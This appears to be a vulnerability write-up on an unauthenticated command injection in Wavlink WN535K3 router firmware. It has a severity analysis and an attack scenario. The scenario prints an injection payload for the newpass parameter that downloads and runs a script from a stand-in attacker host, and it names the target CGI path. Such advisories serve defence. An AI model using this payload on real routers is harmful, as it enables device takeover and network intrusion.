Wn535k3 Firmware CVE-2025-50756

This vulnerability presents exceptional real-world risk across multiple dimensions: (1) CVSS Vector Analysis—AV:N (network-accessible), AC:L (low complexity), PR:N (no privileges required), UI:N (no user interaction)—indicates the lowest possible barriers to exploitation; (2) EPSS Context—while specific EPSS score unknown, the straightforward command injection pattern, unauthenticated access requirement, and public nature of router configuration interfaces suggest high probability of rapid weaponization; (3) KEV Status—though not explicitly confirmed in provided data, routers with command injection are historically prioritized for active exploitation and inclusion in CISA KEV catalogs; (4) Exploitation Barriers—minimal; an attacker needs only network reachability and ability to craft HTTP requests; (5) Technical Impact—complete system compromise (confidentiality, integrity, availability) and lateral attack platform for broader network intrusion; (6) SSVC Alignment—this would score as 'critical/immediate action required' under SSVC due to exploitation being automatic (no tooling complexity), technically impactful (complete control), and affecting critical infrastructure (network perimeter). Unlike high-CVSS issues with mitigating factors (authentication requirements, user interaction), this combines maximum severity with maximum exploitability—this is not a false-positive risk rating.

An attacker performs reconnaissance and identifies a Wavlink WN535K3 router accessible on a target network (either directly internet-facing or discovered via shodan.io/censys.io queries for WN535K3 signatures). The attacker crafts an HTTP POST request to the router's web interface (typically http://192.168.1.1/cgi-bin/admin/set_sys_adm or similar path) with a malicious payload in the newpass parameter, such as: newpass=password123; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh; This executes arbitrary commands with root privileges, allowing the attacker to: install reverse shells for persistent access, modify firewall rules to allow further intrusion, harvest WiFi credentials and connected device information, pivot to internal network devices, or use the router as a proxy for botnet activities. No authentication or user interaction is required. Exploitation would take minutes and requires no specialized tools—basic curl/wget suffices. Given the age of the firmware (2019), many instances likely remain unpatched in production, elevating attack surface significantly.